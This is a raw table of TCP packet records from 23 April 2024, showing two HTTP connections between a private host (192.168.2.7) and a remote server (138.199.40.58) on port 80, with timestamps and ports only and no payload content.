Apr 23, 2024 08:39:58.918198109 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.918199062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.918219090 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.918225050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.918247938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.918262959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.918283939 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.918298960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.918318987 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.918340921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.918359995 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.918411016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.918431044 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.918442965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.918466091 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.918471098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.918489933 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.918509960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.918525934 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.918581009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.918600082 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.918600082 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.918612957 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.918620110 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.918625116 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.918646097 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.918646097 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.918713093 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.918767929 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.918781042 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.918834925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.918853998 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.918874979 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.918886900 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.918898106 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.918899059 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.918916941 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.919004917 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.919049978 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.919076920 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.919152975 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.919192076 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.919204950 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.919244051 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.919248104 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.919249058 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.919282913 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.919306040 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.919325113 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.919389009 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.919430971 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.919445038 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.919538975 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.919574976 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.919650078 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.919703960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.919723988 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.919735909 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.919754982 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.919781923 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.919795036 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.919801950 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.919822931 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.919867992 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.919888973 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.919966936 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.919986963 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.920012951 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.920033932 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.920037031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.920058012 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.920090914 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.920114994 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.920135021 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.920156956 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.920160055 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.920175076 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.920206070 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.920227051 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.920289040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.920289040 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.920303106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.920315027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.920325994 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.920353889 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.920353889 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.920375109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.920388937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.920401096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.920413017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.920418978 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.920418978 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.920424938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.920437098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.920444012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.920448065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.920460939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.920468092 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.920480967 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.920526028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.920538902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.920547009 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.920646906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.920660019 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.920665979 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.920670986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.920690060 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.920744896 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.921087980 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.921123028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.921145916 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.921214104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.921235085 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.921298981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.921312094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.921317101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.921329975 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.921426058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.921451092 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.921550989 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.921569109 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.921703100 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.921725035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.921740055 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.921751976 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.921757936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.921763897 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.921777010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.921785116 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.921785116 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.921788931 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.921802044 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.921808958 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.921813965 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.921825886 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.921827078 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.921833038 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.921838045 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.921853065 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.921881914 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.921900988 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.921905041 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.921924114 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.921928883 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.921941996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.921947956 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.921977043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.921984911 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.921984911 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.922086000 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.922101974 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.922169924 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.922178984 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.922182083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.922194958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.922207117 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.922213078 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.922221899 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.922239065 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.922256947 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.922296047 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.922314882 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.922339916 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.922441006 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.922477007 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.922489882 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.922501087 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.922521114 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.922523022 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.922602892 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.922679901 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.922718048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.922730923 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.922801971 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.922815084 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.922821045 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.922827959 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.922847986 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.922879934 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.922900915 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.922964096 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.923012018 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.923026085 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.923222065 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.923223972 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.923234940 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.923247099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.923268080 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.923268080 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.923325062 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.923360109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.923409939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.923439980 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.923444986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.923465014 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.923532009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.923544884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.923563004 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.923587084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.923587084 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.923633099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.923681974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.923715115 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.923733950 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.923801899 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.923813105 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.923819065 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.923825979 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.923842907 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.923882961 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.923902035 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.923903942 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.923921108 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.923943043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.923964024 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.923980951 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.923998117 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.924093008 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924124002 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.924141884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924161911 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.924189091 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924207926 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.924273014 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924292088 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.924314022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924336910 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.924356937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924377918 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.924411058 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924432039 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.924443960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924463034 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.924552917 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.924621105 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924633026 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924647093 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924664974 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.924698114 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924710989 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924719095 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.924721956 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924731970 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.924735069 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924747944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924755096 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.924755096 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.924760103 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924776077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924782991 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.924787998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924799919 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924801111 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.924812078 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924817085 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.924861908 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.924861908 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.924880981 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924894094 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924906015 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924918890 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924931049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924937963 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.924942970 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924962044 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.924974918 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.924994946 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.925036907 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.925055027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.925062895 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.925101042 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.925101042 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.925107002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.925223112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.925235987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.925246954 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.925246954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.925271034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.925290108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.925324917 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.925326109 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.925406933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.925473928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.925487995 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.925494909 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.925525904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.925525904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.925527096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.925626040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.925708055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.925796032 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.925808907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.925823927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.925837040 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.925844908 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.925848007 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.925868034 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.925895929 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.925908089 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.925915956 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.925919056 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.925939083 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.925960064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.925981045 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.926023006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.926042080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.926043034 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.926062107 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.926090956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.926103115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.926111937 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.926135063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.926139116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.926139116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.926246881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.926268101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.926332951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.926354885 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.926367044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.926386118 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.926389933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.926408052 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.926426888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.926448107 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.926469088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.926487923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.926584005 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.926606894 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.926676989 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.926688910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.926695108 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.926700115 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.926711082 CEST	80	49704	138.199.40.58	192.168.2.7
